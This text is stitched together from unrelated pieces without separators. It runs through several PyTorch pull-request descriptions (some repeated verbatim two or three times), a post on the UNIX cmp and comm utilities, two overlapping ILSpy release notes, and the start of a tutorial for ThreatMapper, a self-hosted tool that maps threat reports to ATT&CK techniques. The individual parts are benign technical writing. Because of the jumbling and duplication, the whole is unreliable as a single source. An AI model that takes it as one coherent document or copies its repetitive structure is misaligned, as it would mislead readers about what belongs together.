lintrunner -a (fails on unrelated existing Pyrefly error in torch/autograd/graph.py for torch._C._remove_obj_from_tls)

Pull Request resolved: #186441
Approved by: https://github.com/eellison, https://github.com/mlazos

Propagate the bool-mask IoU options through the object and numpy recursive same() paths, enable the existing IoU comparator for the two affected Detectron2 Mask R-CNN models, and update the CPU freezing expected-accuracy files to pass.

Fixes #127073

Generated by my agent

Test Plan:

python test/dynamo/test_utils.py -k TestUtils.test_same_iou_for_bool_propagates_to_instances

python -m unittest benchmarks.dynamo.test.TestDynamoBenchmark.test_detectron2_maskrcnn_uses_iou_for_bool_masks

Local Detectron2 benchmark workaround for detectron2_maskrcnn_r_101_fpn and detectron2_maskrcnn_r_50_c4 with --accuracy --inference --device cpu --inductor --freezing reported pass

git diff --check

lintrunner -a (fails on unrelated existing Pyrefly error in torch/autograd/graph.py for torch._C._remove_obj_from_tls)

Pull Request resolved: #186441
Approved by: https://github.com/eellison, https://github.com/mlazos

This updates NCCL_HAS_ONE_SIDED_API to require NCCL_HAS_SYMMEM_DEVICE_SUPPORT, matching the existing guard pattern used for NCCL device-side support.

NCCL_HAS_SYMMEM_DEVICE_SUPPORT is not enabled for ROCm builds because nccl_device.h is excluded there. Without this additional guard, ROCm release branches can still compile one-sided NCCL paths that reference device-side support such as NCCLDevCommManager, causing build failures.

A related guard already exists from #186794; this extends the same protection to the one-sided API path after it caused issues on another ROCm branch.

Testing

• Verified the merge conflict is resolved.
• Verified nccl_dev_cap.hpp has no conflict markers.
• Verified git diff --check passes for the changed file.

Pull Request resolved: #186888
Approved by: https://github.com/jeffdaily

Use dnnl::lstm_forward primitive on XPU for LSTM inference, replacing the per-timestep fused cell approach. The oneDNN primitive processes the entire sequence internally, eliminating O(T) kernel launches.

Changes

• New file aten/src/ATen/native/mkldnn/xpu/RNN.cpp: Implements lstm_onednn_xpu using dnnl::lstm_forward, registered via REGISTER_XPU_DISPATCH(lstm_mkldnn_stub, ...). Handles weight layout transformation (PyTorch [4*H, I] → oneDNN ldgoi), weight reorder, and scratchpad management.
• aten/src/ATen/native/RNN.cpp:
  • Extended use_mkldnn() to return true for XPU in inference mode (float/bf16/fp16)
  • Added packed sequence unwrap: when batch_sizes are uniform (common in batch=1 inference), reshape to regular 3D tensor and route to oneDNN
  • Added XPU-specific LSTMCell path with pre-computed input gates as fallback for training

Correctness

• oneDNN and PyTorch use identical gate order: i, f, c̃, o
• oneDNN formula: gates = W·x + U·h + B where B = b_ih + b_hh (we sum before passing)
• Verified max diff < 1e-6 vs CPU reference across multiple configurations

Performance (Intel PVC, Kokoro TTS, bidirectional LSTM, hidden=256)

Dependencies

• Depends on intel/torch-xpu-ops#3770 for the fused cell fallback path (bias fix)
• Only affects XPU. CUDA and CPU paths unchanged.

Pull Request resolved: #185531
Approved by: https://github.com/EikanWang, https://github.com/guangyey, https://github.com/atalman

CPU topk now compares by value and then index in deterministic mode. CUDA keeps the existing top-k selection path and uses stable sorting for the selected top-k outputs so threshold ties preserve input-index order without falling back to a full sort on NVIDIA. ROCm uses stable sort in deterministic mode because its current top-k gather reserves tie slots through atomics.

This gives deterministic mode a topk behavior analogous to scatter_add: fast default kernels remain available, while deterministic mode uses stable algorithms when requested.

Test Plan:

• Rebuilt PyTorch from source with CUDA enabled.

• python -m py_compile test/test_sort_and_select.py torch/init.py torch/_torch_docs.py

• python test/test_sort_and_select.py -k topk_deterministic

• python test/test_sort_and_select.py -k topk

• git diff --check HEAD^

• lintrunner --config=.lintrunner.toml --skip=PYREFLY aten/src/ATen/native/TopKImpl.h aten/src/ATen/native/cuda/TensorTopK.cpp test/test_sort_and_select.py torch/init.py torch/_torch_docs.py

Pull Request resolved: #186653
Approved by: https://github.com/drisspg

Use dnnl::lstm_forward primitive on XPU for LSTM inference, replacing the per-timestep fused cell approach. The oneDNN primitive processes the entire sequence internally, eliminating O(T) kernel launches.

Changes

• New file aten/src/ATen/native/mkldnn/xpu/RNN.cpp: Implements lstm_onednn_xpu using dnnl::lstm_forward, registered via REGISTER_XPU_DISPATCH(lstm_mkldnn_stub, ...). Handles weight layout transformation (PyTorch [4*H, I] → oneDNN ldgoi), weight reorder, and scratchpad management.
• aten/src/ATen/native/RNN.cpp:
  • Extended use_mkldnn() to return true for XPU in inference mode (float/bf16/fp16)
  • Added packed sequence unwrap: when batch_sizes are uniform (common in batch=1 inference), reshape to regular 3D tensor and route to oneDNN
  • Added XPU-specific LSTMCell path with pre-computed input gates as fallback for training

Correctness

• oneDNN and PyTorch use identical gate order: i, f, c̃, o
• oneDNN formula: gates = W·x + U·h + B where B = b_ih + b_hh (we sum before passing)
• Verified max diff < 1e-6 vs CPU reference across multiple configurations

Performance (Intel PVC, Kokoro TTS, bidirectional LSTM, hidden=256)

Dependencies

• Depends on intel/torch-xpu-ops#3770 for the fused cell fallback path (bias fix)
• Only affects XPU. CUDA and CPU paths unchanged.

Pull Request resolved: #185531
Approved by: https://github.com/EikanWang, https://github.com/guangyey, https://github.com/atalman

CPU topk now compares by value and then index in deterministic mode. CUDA keeps the existing top-k selection path and uses stable sorting for the selected top-k outputs so threshold ties preserve input-index order without falling back to a full sort on NVIDIA. ROCm uses stable sort in deterministic mode because its current top-k gather reserves tie slots through atomics.

This gives deterministic mode a topk behavior analogous to scatter_add: fast default kernels remain available, while deterministic mode uses stable algorithms when requested.

Test Plan:

• Rebuilt PyTorch from source with CUDA enabled.

• python -m py_compile test/test_sort_and_select.py torch/init.py torch/_torch_docs.py

• python test/test_sort_and_select.py -k topk_deterministic

• python test/test_sort_and_select.py -k topk

• git diff --check HEAD^

• lintrunner --config=.lintrunner.toml --skip=PYREFLY aten/src/ATen/native/TopKImpl.h aten/src/ATen/native/cuda/TensorTopK.cpp test/test_sort_and_select.py torch/init.py torch/_torch_docs.py

ghstack-source-id: c9b62071c22c09c660e34d957311c6d0234300c8

Pull Request resolved: #186653

CPU topk now compares by value and then index in deterministic mode. CUDA keeps the existing top-k selection path and uses stable sorting for the selected top-k outputs so threshold ties preserve input-index order without falling back to a full sort on NVIDIA. ROCm uses stable sort in deterministic mode because its current top-k gather reserves tie slots through atomics.

This gives deterministic mode a topk behavior analogous to scatter_add: fast default kernels remain available, while deterministic mode uses stable algorithms when requested.

Test Plan:

• Rebuilt PyTorch from source with CUDA enabled.

• python -m py_compile test/test_sort_and_select.py torch/init.py torch/_torch_docs.py

• python test/test_sort_and_select.py -k topk_deterministic

• python test/test_sort_and_select.py -k topk

• git diff --check HEAD^

• lintrunner --config=.lintrunner.toml --skip=PYREFLY aten/src/ATen/native/TopKImpl.h aten/src/ATen/native/cuda/TensorTopK.cpp test/test_sort_and_select.py torch/init.py torch/_torch_docs.py

ghstack-source-id: c9b62071c22c09c660e34d957311c6d0234300c8

Pull Request resolved: #186653

This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.

Most users of UNIX-like systems are probably familiar with the diff utility. It is widely used with source code to compare two files and see what the differences are between them. Non-programmers, like me, also use it to examine what has changed in different versions of scripts or configuration files. Quite a few pieces of newer software can compare different versions of data and express changes in a format either identical to or similar to diff output.

However, there are two other long-standing tools for this purpose that are far less known and deserve in my view to be termed UNIX Curios. The first of these is cmp ¹ . While diff is primarily intended to be used on text files and compares them line by line, cmp compares files byte by byte. In my experience, its main use is to see whether two binary files are in fact identical—if they are, cmp outputs nothing and returns an exit status of 0. Back when methods of transferring files were not as reliable as they are today, this was a tool I would reach for sometimes. For example, you could use it to confirm that the data on a CD-ROM you burned was the same as the original.

If there is a difference between the files, cmp will return an exit status of 1. By default, it will also print the location (byte and line number) of the first differing byte. When used with the -l option, it will print the location and value of every byte that differs. There is one exception to these: if the files are the same except that one is shorter than the other, it will print a message to that effect. The exit status will still be 1 in that case.

Using the -s option with cmp will cause it to be totally silent and output nothing. Only the exit status will indicate whether the files are the same, different, or if the exit status is greater than 1, that an error occurred. This makes it useful for scripting, for example in case you wanted to confirm that a file copied to another location arrived fully intact.

It is worth noting that diff is also capable of comparing binary files—however, it is not required by POSIX to report what is actually different or where differences occur. The same exit status as in cmp is returned: 0 if the files are the same, 1 if they are different, or greater than 1 if an error occurred. While many implementations offer an option to suppress the output, this is not in the standard ² so the most portable method would be to instead redirect output to /dev/null . On my system the diff utility is three times the size of cmp , so if you don't need its extra capabilities, it is a less efficient way of doing the job.

The other UNIX Curio for today is comm , and this utility ³ is also intended to compare two files to see what is common between them. Ken Fallon briefly talked about it a few years ago in HPR episode 3889 . Compared to the others, it has a much more specific use case. The two files are expected to be text files that are already sorted. What comm will do is print a tab-separated list of all the lines appearing in either or both files. Lines only in the first file will appear in the first column, lines only in the second file will be in the second column, and lines in both files will be in the third column.

Any combination of the options -1 , -2 , and -3 can be used with comm to suppress printing of the first, second, or third column respectively. Using all three options at the same time is supported but it results in no output, so that isn't very useful. Unlike the other utilities, the exit status of comm doesn't tell you anything about the two files. It will be 0 if the program ran successfully, and greater than 0 if it didn't.

I'm not sure if I have ever actually used comm for anything practical. I find its default output a bit difficult to meaningfully interpret, plus you need to ensure the two files are already sorted. It seems to be best suited to comparing lists, and one use case that Ken Fallon mentioned would be comparing two lists of files to see if any are missing. The command comm -3 listA listB would print files that only appear in listA in the first column and those only in listB in the second column. This would let you ignore all the filenames that appear in both and focus on those that were absent from one or the other. If on the other hand you only wanted to see the filenames that are on both lists, comm -12 listA listB would give you that.

Some more frivolous potential uses also come to mind. If for some reason the cat utility is broken on your system, you could use comm listA /dev/null to print the file listA instead. If you want to insert tab characters before every line of a file but have an aversion to using sed or awk , then comm /dev/null listA would output listA with one tab before each line, and comm listA listA would insert two tabs. A bit silly, but it would work. The GNU implementation of comm even lets you choose something other than a tab to separate the columns ⁴ , so you could go wild with that.

According to the POSIX specifications for cmp and comm , one of the two filenames given as arguments, but not both, can be a " - ", in which case standard input will be used for that "file" in the comparison. Also, the results are undefined if both arguments are the same FIFO special, character special, or block special file. Some implementations might not have these limitations, but you shouldn't rely on that everywhere.

All three of these were developed quite early. The cmp utility appeared in 1971's First Edition UNIX ⁵ , while comm and diff seem to have made their debut in Fourth Edition UNIX ^6,7 from 1973. The original versions might not have behaved exactly like their modern counterparts, and newer implementations (especially of the diff utility) have acquired additional options and capabilities, but the basic operation of each has stayed the same.

The next time you need to compare files against each other, consider whether cmp or comm might be appropriate before automatically reaching for diff . They all have their uses in different situations.

References:

1. Cmp specification https://pubs.opengroup.org/onlinepubs/009695399/utilities/cmp.html
2. Diff specification https://pubs.opengroup.org/onlinepubs/009695399/utilities/diff.html
3. Comm specification https://pubs.opengroup.org/onlinepubs/009695399/utilities/comm.html
4. GNU coreutils manual: comm https://www.gnu.org/software/coreutils/manual/html_node/comm-invocation.html
5. First Edition UNIX cmp manual page http://man.cat-v.org/unix-1st/1/cmp
6. Fourth Edition UNIX comm manual page https://www.tuhs.org/cgi-bin/utree.pl?file=V4/usr/man/man1/comm.1
7. Fourth Edition UNIX diff source https://www.tuhs.org/cgi-bin/utree.pl?file=V4/usr/source/s1/diff1.c

Provide feedback on this episode.

New Language Features

• #3467: C# 12 InlineArrays
• #3500: Added .NET 10 as test target
• #3500: Added minimal language feature support to successfully detect new code patterns used in .NET 10

Enhancements

• #3519: Add API diff feature. Please see the PR for how this feature works, and in the collapsed region at the end of the release notes how such an API diff report could look like (full file is attached to release as ICSharpCode.Decompiler9.1to10Preview1Changes_ApiDiff.md).
• #3494: Add dynamic ILSpy settings options to ILSpyCmd
• #3489: Make WholeProjectDecompiler.CreateDecompiler protected virtual to make the decompilation pipeline extensible.

Contributions

• Add configuration option to check for overflow and underflow (see #3484 by @ds5678)
• Allow creating a MetadataFile with a MetadataReader / MetadataStringDecoder (see #3487 by @lordmilko)
• Add an option to not transform Activator.CreateInstance<T>() to new T() (see #3497 by @DoctorKrolic)
• TargetFramework and TargetServices APIs are now public (see #3501 by @nikitalita)
• Support disassembling single file bundle for ILSpy (see #3398 by @cshung)
• Fix stack overflow exception in CSharpResolver (see #3471 by @ds5678)
• Handle explicit optional parameter after default parameter (see #3470 by @ds5678)
• Fix disassembler output, correcting flag(NUM) to flags(NUM) (see #3473 by @hez2010)
• Fix null reference exception when writing resource files (see #3474 by @ds5678)
• Fix SDK-style (modern) inter-project references (see #3502 by @petercrabtree)
• Fix incorrect method match for static methods with instance signature (see #3504 by @MSchmoecker)

Performance

• #3486: Remove XML serialization from DecompilerSettings in ILSpy

Bug fixes

• Fix #3464: Missing cast in interpolated string
• Fix #3482: Drag and Drop is no longer working in the Assemblies tree view.
• Fix #3492: Do not crash, if field used by RuntimeHelpers.InitializeArray is malformed.

And many other fixes, for a full list click here.

Warning

We DO NOT own the domain ilspy dot org See #3709
Download ILSpy only from GitHub Releases!

This release is based on .NET 10.0. Please make sure that you have it installed on your machine beforehand.

New Language Features

• C# 13: allows ref struct constraint
• C# 14: extension members
• #3467: C# 12 InlineArrays
• Update pattern detection to Roslyn 5.0 RTM
• #3500: Added .NET 10 as test target

User Interface

• Dedicated UI and Decompiler APIs for C# 14 extensions #3680
• Navigate visible history (see #3591 by @miloush)
• Removed translations (see #3648)
• #3521: Add API to set an initially highlighted entity after navigation
• Improve WordBreak in CustomDialog (see #3535 by @CreateAndInject)
• Use AssemblyWarning when AssemblyReference load faulted (see #3013 by @workgroupengineering)
• Refactoring of EntityToString API (see #3635)

Enhancements

• CSharpConversions: General improvements, fixing various missing rules for C# up to version 9.
• #3344: Support ckfinite IL opcode in decompiler
• #3563: Disassembler: Add support for ildasm /caverbal format
• Detection of records and primary constructors: various bugfixes and improvements. (Special thanks to @sonyps5201314 and @mmusu3)
• #3519: Add API diff feature. Please see the PR for how this feature works.
• #3494: Add dynamic ILSpy settings options to ILSpyCmd
• #3489: Make WholeProjectDecompiler.CreateDecompiler protected virtual to make the decompilation pipeline extensible.

Contributions

• Allow extracting multiple package entries (see #3508 by @CreateAndInject)
• Render operating system name as well as architecture if present (see #3653 by @MatthewSteeples)
• Improve decompilation of unmanaged function pointers (see #3620 by @ds5678)
• Improve decompilation of pre-increment operators (see #3472 by @ds5678)
• Support batch PDB generation (see #3619 by @sonyps5201314)
• TargetFramework and TargetServices APIs are now public (see #3501 by @nikitalita)
• Allow creating a MetadataFile with a MetadataReader / MetadataStringDecoder (see #3487 by @lordmilko)
• Add configuration option to check for overflow and underflow (see #3484 by @ds5678)
• Support disassembling single file bundle for ILSpy (see #3398 by @cshung)
• Refactor for cross platform port (see #3641by @lextm)
• Fix in erroneously being applied to this (see #3682 by @nikitalita)
• Update TransformCollectionAndObjectInitializers to check for init-only properties (see #3678 by @nikitalita)
• Fix PowerShell PostBuild failing when solution path contains spaces (see #3669 by @Myself-Bloons)
• Replace FileVersionInfo.GetVersionInfo with DecompilerVersionInfo.Version constant (see #3667 by @MattParkerDev)
• Support allows ref struct constraint (see #3537 by @jjonescz)
• Allow passing an IDecompilerTypeSystem rather than a DecompilerTypeSystem to CSharpDecompiler (see #3529 by @lordmilko)
• Add DecompilerSettings.ExpandParamsArguments (see #3534 by @MSchmoecker)
• Add DecompilerSettings.AlwaysMoveInitializer: Always move initializer from static constructor to field initializer (see #3540 by @miloush)
• Fix #3462: Scrolling with scroll wheel breaks after using file search (see #3538 by @tom-englert)
• Fixes for primary constructors (see #3614 by @mmusu3)
• Improve inlining of boxed values (see #3587 by @ds5678)
• List name first in ILSpy title for multiple instances (see #3589 by @miloush)
• Improve Framework Id detection (see #3581 by @ds5678)
• Enable detection of .NET version without TargetFrameworkAttribute (see #3580 by @ds5678)
• Do not create object initializers for tuples (see #3579 by @ds5678)
• Fix lower case type name conflicting with variable name (see #3572 by @ds5678)
• Fix regression in decompiling local functions with default parameters (see #3560 by @ds5678)
• Copy-propagate the stack slot for collection initializers (see #3554 by @ds5678)
• Normalize UTF-8 BOM Marks and ps1 Indention (see #3546 by @petercrabtree)
• Minor Dev Environment Fixes (.editorconfig cleanup, typo fix, .gitignore tweak) (see #3544 by @petercrabtree)
• Replace GeneratePdbForAssembly with GeneratePdbForAssemblies to improve user experience and remove redundant code. (see #3630 by @sonyps5201314)
• Fix the issue where PDBs generated by ILSpy do not match (see #3629 by @sonyps5201314)
• Do not use ObservableObject when ObservableObjectBase is sufficient. (see #3644 by @tom-englert)
• Add an option to not transform Activator.CreateInstance<T>() to new T() (see #3497 by @DoctorKrolic)
• Fix stack overflow exception in CSharpResolver (see #3471 by @ds5678)
• Handle explicit optional parameter after default parameter (see #3470 by @ds5678)
• Fix disassembler output, correcting flag(NUM) to flags(NUM) (see #3473 by @hez2010)
• Fix null reference exception when writing resource files (see #3474 by @ds5678)
• Fix SDK-style (modern) inter-project references (see #3502 by @petercrabtree)
• Fix incorrect method match for static methods with instance signature (see #3504 by @MSchmoecker)

API Clean-up

• Removed legacy UnresolvedUsingScope
• Renamed ResolvedUsingScope to UsingScope
• Removed legacy ToTypeReference
• Removed ITypeReference and implementations

Performance

• #3486: Remove XML serialization from DecompilerSettings in ILSpy

Bug fixes

• Fix #3655: ExtractPackageEntryContextMenuEntry
• Fix #3684: Hide compiler-generated base-class forwarding accessor methods
• Fix #3674: Incorrect derived types shown, when generic type inherit from non-generic type with the same name.
• Fix #3671: TransformCollectionAndObjectInitializers mistakenly included trailing variable initialization.
• Fix #3524: Property without backing field cannot have an initializer.
• Fix #3512: Local function name collides with local variable name
• Fix #2165: DeclareVariables step must update ResolveResult annotation when using out var.
• Fix #3518 by replacing FixLoneIsInst with an inlining restriction.
• Fix #3465: Operator '>' cannot be applied to operands of type 'X' and 'X'
• Fix #3468: Try harder to avoid ref locals if UseRefLocalsForAccurateOrderOfEvaluation is not enabled.
• Fix #3323: Simplify cleanup in AwaitInFinallyTransform, ensuring that we do not miss any containers.
• Fix #1873: Clear ILRange in CopyPropagation
• Fix #1789: missing hyperlink for MethodGroupResolveResult.
• Fix #3476: Scroll position not restored when navigating back
• Fix #3545: Covariant return not detected for abstract override property
• Fix #3549: Do not crash on encountering nil tokens.
• Fix #3543: Missing parentheses around field assignment expression in list initializers
• DebugDirectoryTreeNode: AddressOfRawData and PointerToRawData columns should use hex display.
• DebugDirectoryTreeNode: PointerToRawData was always showing 0 and AddressOfRawData was showing the wrong value.
• Fix #3577: Properly infer the switch governing type and preserve conversions
• Fix #3626: Do not emit named arguments for bool constants, if it causes the call to become ambiguous.
• Fix #3612: WholeProjectDecompiler.CleanUpName does not count bytes on Unix.
• Fix #3464: Missing cast in interpolated string
• Fix #3482: Drag and Drop is no longer working in the Assemblies tree view.
• Fix #3492: Do not crash, if field used by RuntimeHelpers.InitializeArray is malformed.

And many other fixes, for a full list click here.

Register a narrow FakeTensor implementation for aten.embedding.default,
matching the existing aten._embedding_bag.default pattern. The implementation
calls the existing embedding meta registration under FakeTensorMode, so the
output metadata follows embedding semantics: indices provide the shape, while
weight provides dtype and device. This avoids broad changes to generic device
propagation, such as the stale PR's aten.where special case, because embedding
has an op-specific output-device rule.

Tests cover direct FakeTensor execution for CPU weight with meta indices and
the inverse meta-weight case, plus a torch.compile backend="eager" regression
matching the issue.

Fixes #166644
Generated by my agent

Test Plan:

• python test/test_fake_tensor.py -k embedding_meta_indices
• git diff --cached --check
• lintrunner -a
  Pull Request resolved: #185060
  Approved by: https://github.com/ezyang

Table of Contents

1. The Problem
2. What ThreatMapper Does
3. Architecture in Brief
4. Setting Up (10 Minutes)
5. Core Workflow: Analysing a Threat Report
6. The Navigator: Your ATT&CK Workspace
7. APT Attribution Deep-Dive: Three Compare Modes
8. Two Databases: Actor Profiles and Your Report Library
9. Generating Reports
10. Using the AI Chat Assistant
11. Working with All Three ATT&CK Domains
12. API Usage (Headless / CI Integration)
13. Keeping ATT&CK Data Fresh
14. Tips for Analysts
15. Security Considerations
16. What’s Coming Next
17. Final Thoughts

The tool:

GitHub - anpa1200/threatmapper: AI-powered MITRE ATT\&CK threat intelligence platform - D3.js navigator, APT comparison, Claude/GPT-4o/Gemini analysis, PDF reports

Docs:

ThreatMapper - Self-Hosted AI Threat Intelligence | ThreatMapper

The Problem

Every threat intelligence analyst knows the workflow: you receive a malware report, an IR summary, or a threat feed entry, and you need to translate it into ATT&CK technique IDs so you can slot it into a detection backlog or a purple-team plan.

Doing this manually is slow. You read the report, recognise a behaviour (“the implant used scheduled tasks for persistence”), pull up the ATT&CK website, search for the technique, copy the ID. Repeat 20 times for a single report. Then someone asks: “Does this look like APT29?” — and you start manually cross-referencing technique lists.

There are commercial platforms that do this — but they are expensive, require data to leave your environment, and often treat ATT&CK as a secondary feature behind proprietary kill-chains.

ThreatMapper is my attempt to solve this for analysts who want a self-hosted, privacy-first, open-source option that uses the LLM API keys they already have.

What ThreatMapper Does

In one sentence: you give it a threat report, it gives you ATT&CK technique IDs, APT group matches, confidence scores, and a PDF.

Concretely:

• AI Analysis — upload a PDF, DOCX, or TXT file (or paste text), pick Claude, GPT-4o, or Gemini, and get a streamed extraction of every ATT&CK technique the LLM identifies with evidence snippets and confidence scores

• ATT&CK Navigator — an interactive heatmap of the full ATT&CK matrix (Enterprise, Mobile, ICS) where you build and explore your TTP layer

• APT Attribution — automatic Jaccard similarity ranking of every extraction against 174+ named ATT&CK threat groups and 56+ named campaigns (e.g. “Operation Ghost”, “SolarWinds Compromise”)

• Compare — deep side-by-side comparison of your TTP set against groups, MITRE named campaigns, or your own stored report library; with visual matrix diff, tactic breakdown chart, and gap analysis

• Export — ATT&CK Navigator-compatible JSON layers and multi-page PDF reports suitable for executive briefings

Everything runs locally in Docker. Your threat reports never leave your machine.(With local or private LLM)

Architecture in Brief

ThreatMapper is four containers:

The backend ingests ATT&CK STIX 2.1 bundles directly from MITRE’s GitHub repository using pure Python — no third-party ATT&CK library, fully compatible with Python 3.12. All three ATT&CK domains (Enterprise, Mobile, ICS) are parsed and stored in PostgreSQL with JSONB arrays for the STIX arrays.

LLM calls go directly from the FastAPI backend to Anthropic / OpenAI / Google using their official SDKs. Your API keys never touch a third-party service beyond the LLM provider itself.

Setting Up (10 Minutes)

Prerequisites

• Docker + Docker Compose
• An API key for at least one of: Anthropic (Claude), OpenAI, Google Gemini

Step 1: Clone and configure

git clone https://github.com/anpa1200/threatmapper.git
cd threatmapper
cp .env.example .env

Important: you must create .env before running docker compose up. Without it the container starts with empty API keys and AI Analysis returns 500.

Open .env and add your keys. You only need one:

ANTHROPIC_API_KEY=sk-ant-...
# OPENAI_API_KEY=sk-...
# GEMINI_API_KEY=AIza...
DB_PASS=choose_a_strong_password

If you want a faster first start and only need Enterprise ATT&CK, set:

ATTCK_DOMAINS=enterprise-attack

This downloads ~35 MB instead of ~105 MB.

Step 2: Start

docker compose up

The first start downloads and ingests ATT&CK data automatically. Watch progress:

docker compose logs -f api

You’ll see something like:

Parsing enterprise-attack-19.1.json ...
  Parsed: 15 tactics, 760 techniques, 174 groups, 56 campaigns, 9100+ usages
Finished ingesting enterprise-attack v19.1
INFO:     Application startup complete.

This takes 5–15 minutes depending on your network speed. Subsequent startups are instant (data is cached in the PostgreSQL volume).

Step 3: Open

• Frontend: http://localhost:3000

• API docs (Swagger UI): http://localhost:8000/docs

Core Workflow: Analysing a Threat Report

This is the killer feature and what most analysts will use day-to-day.

Upload your report

Navigate to Analyze in the sidebar. You’ll see:

1. A provider dropdown (Claude / GPT-4o / Gemini)
2. An optional model override (defaults to claude-opus-4-8, gpt-4o, gemini-2.0-flash)
3. A domain selector (enterprise-attack for most corporate IR work)
4. A text area or file upload

For a PDF analysis report:

1. Select Claude (or your preferred provider)
2. Leave the domain as enterprise-attack
3. Click Choose file and upload your PDF
4. Click Analyse with AI

You’ll immediately see the LLM’s response streaming in the output box — token by token, just like ChatGPT. This is not a spinner that makes you wait: you can read the thinking as it happens.

Reading the results

When the stream completes, three tabs appear:

Techniques tab — the core output. Each row shows:

FieldExampleATT&CK IDT1059.001NamePowerShellTacticExecutionConfidence92%Evidence”executed a base64-encoded PowerShell payload”

The evidence field is a direct quote or paraphrase from your source document — you can use it to trace every mapping back to its origin in the text. High confidence (≥ 80%) means the text explicitly described the behaviour; lower scores mean it was inferred.

APT Matches tab — the attribution layer. Computed locally using Jaccard similarity between your extracted techniques and every named ATT&CK group’s known TTP set. The top 10 are shown with:

• Similarity score (0–100%)
• Shared technique count
• List of the overlapping technique IDs

A match above 25–30% is worth investigating. Don’t treat this as definitive attribution — use it as a lead for further research.

Raw Response — the LLM’s full JSON output. Useful for debugging when the model outputs something unexpected.

Inject into Navigator

Click → Inject into Navigator to push all extracted techniques into your live Navigator layer. You can then:

• See the techniques highlighted on the full ATT&CK matrix
• Overlay an APT group to visualise the behavioural overlap
• Export as an ATT&CK Navigator JSON layer

The Navigator: Your ATT&CK Workspace

The Navigator is the central hub. It renders the full ATT&CK matrix as an interactive heatmap with D3.js zoom/pan.

Building a layer

Click any technique cell to add it to your layer (it turns red). Click again to deselect. For sub-techniques, click the small ▶ arrow to expand the parent cell and see the sub-technique rows.

Practical tip: use the search box to find techniques by name or ID without manually scanning the matrix. Type T1059 to jump to all Command and Scripting Interpreter techniques, or type phish to find all phishing-related techniques.

Overlaying an APT group

1. Go to APT Library and find your group of interest
2. Click Overlay on Navigator
3. Return to Navigator

The matrix now uses three colours:

• Red — in your layer only
• Blue — in the APT group’s profile only
• Amber — in both (the overlap)

This visual immediately answers: “Which of this group’s known techniques am I not already detecting?”

Importing an existing layer

If you already have ATT&CK Navigator layers from previous work, click ↑ Import layer and upload the JSON. ThreatMapper will load it as your active layer, which you can then enrich with AI analysis or compare against APT groups.

Saving and Loading Named Layers

Once you have built a TTP layer — whether through AI analysis, manual selection, or an APT campaign overlay — you can save it to the database with a name and reload it in any future session.

Why this matters

Without persistence, every session starts blank. You would have to re-inject or re-select all your techniques each time you come back to a piece of work. Named layers let you:

• Bookmark a specific investigation. Save “Lazarus Q1 2025 incident” at 47 techniques and return to it a week later exactly where you left off.
• Build a fingerprint library. Save a layer for each major campaign you track — “Operation Ghost TTPs”, “SolarWinds Compromise TTPs” — and reload any of them for comparison without re-running AI analysis.
• Maintain a baseline. Keep a “What we detect” layer with your detection coverage and a “What we’ve seen” layer of your observed incidents. Load each into a fresh session to compare.
• Share work across team members. Layers are stored in the shared PostgreSQL database, so a layer saved by one analyst is visible to all.

Saving a layer

1. Select your techniques in Navigator (they turn red)
2. Click ↓ Save layer in the toolbar — this button appears only when at least one technique is selected
3. Enter a descriptive name (e.g. “MuddyWater CTI analysis — April 2025”)
4. Press Enter or click Save

The layer is immediately written to the database. The technique IDs are stored in sorted, deduplicated form together with the domain.

Loading a layer

1. Click 📂 Load layer in the toolbar (always visible)
2. A list of all saved layers appears, each showing the name, technique count, domain, and last-modified date
3. Click Load — the saved layer replaces your current selection entirely

To delete a layer you no longer need, click the ✕ button next to it in the Load dialog and confirm.

APT Attribution Deep-Dive: Three Compare Modes

The Compare view has three modes selectable from a switcher at the top of the page.

Mode 1 — Groups (DB 1)

With techniques selected in Navigator (or injected from an AI analysis), navigate to Compare, make sure Groups (DB 1) is selected, and click Compare vs APT Groups. This ranks all 174+ threat groups by Jaccard similarity.

Click any group to open the four-tab detail view:

Overview — similarity score, shared technique chips (amber), techniques only in your layer (red). Answers: “How much of our observed behaviour matches this group’s known playbook?”

Tactic Breakdown — stacked bar per kill-chain phase: shared / user-only / APT-only. Reveals where in the kill chain the overlap is concentrated.

Visual Diff — compact colour-strip matrix. Best for presentations.

Gap Analysis — every technique in the group’s known profile not in your layer. This is your detection backlog.

Mode 2 — Campaigns (DB 1)

Switch to Campaigns (DB 1) and click Compare vs Campaigns. This ranks all 56+ named MITRE operations by Jaccard similarity.

Why this is more precise than group comparison: A group’s aggregate profile spans years. A campaign profile is one specific attack. Matching your TTPs against C0024 (SolarWinds Compromise) at 40% is a sharper lead than matching against G0016 (APT29) at 15%.

Mode 3 — Reports (DB 2)

Switch to Reports (DB 2). The left panel lists every AI analysis you have ever run. Click any report to re-run Jaccard comparison against all ATT&CK groups — without re-calling the LLM.

Use this for retrospective attribution after ATT&CK releases new group data, or to cluster multiple incidents under a common actor.

Practical attribution workflow

1. Run AI analysis on your incident data (give it a descriptive name)
2. Inject extracted techniques into Navigator
3. Compare → Groups mode: look for similarity > 25%
4. Compare → Campaigns mode: check if the top group has a campaign that fits the timeline
5. Gap Analysis tab: use the technique gap as a structured hunt checklist
6. Download the PDF report for your findings

Two Databases: Actor Profiles and Your Report Library

When you dig into attribution you quickly realise there are two different things you want to compare against:

1. What MITRE says groups have done — the curated ATT&CK dataset of group TTP profiles, including named campaigns (specific operations like “Operation Ghost”)
2. What you have actually observed — your own library of analysed reports, each with its own extracted TTP mapping

ThreatMapper v0.3 builds both into a single comparison workflow via three modes in the Compare view.

DB 1: MITRE Actor Profiles and Named Campaigns

The ATT&CK STIX 2.1 bundle contains more than just group TTP profiles. It also includes:

• campaign objects — named operations with their own ATT&CK IDs (e.g. C0023 = "Operation Ghost", C0025 = "2016 Ukraine Electric Power Attack")
• attributed-to relationships — which group conducted which campaign
• uses relationships at the campaign level — the specific techniques observed in each named operation (often different from the group's aggregate profile)

ThreatMapper parses all of this during ATT&CK ingestion. The result is two searchable, comparable datasets that both live in DB 1:

DatasetWhat it containsID formatAPT GroupsAggregate TTP profile of each named threat groupG0001 — G0174+CampaignsTTP profile of each named operation/campaignC0001 — C0063+

Why campaigns matter: A group’s aggregate profile is the union of everything ever attributed to them across all operations and years. A campaign profile is specific to one attack. Comparing your incident TTPs against campaigns is often more discriminating than comparing against the full group — an incident that matches C0023 (Operation Ghost) at 45% similarity is a more specific lead than a match against G0016 (APT29) at 15%.

Viewing campaigns in the APT Library

The APT Library now has two tabs per group:

• Techniques — the full aggregate TTP list (existing behaviour)
• Campaigns (DB 1) — all named operations attributed to this group

